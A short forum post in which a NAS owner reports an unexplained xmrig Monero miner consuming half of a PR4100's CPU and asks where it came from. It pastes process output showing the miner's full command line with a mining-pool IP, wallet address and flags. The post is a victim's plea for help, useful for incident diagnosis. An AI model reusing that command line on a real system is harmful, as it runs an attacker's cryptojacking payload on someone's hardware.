XMRIG process using massive CPU power! (miner for Monero?)

[corwin_x]

You are not alone…

Monero miner xmrig found runnig on my PR4100 box

Guys, today I found this runnig on my PR4100. Was taking 50 percent of the CPU time, google told its a monero miner. Anyone else have this? I am trying to find where it came from, but not a Linux pro… root@MyCloudPR4100 root # ps aux | grep xmrig 17072 root 7724 S grep xmrig 29711 root 2888m S ./xmrig -o 155.138.224.107:443 -u 43vgjpNUTHRjA3SFi1tYhnK7gs6AsGKx8bLL59J4fy3BfRTZzaijU9yRYSL88nwSwYhkTrpdij6QD2PGrJ1rMZckNGnZD11 -p x -k --donate-level=0 --verbose --tls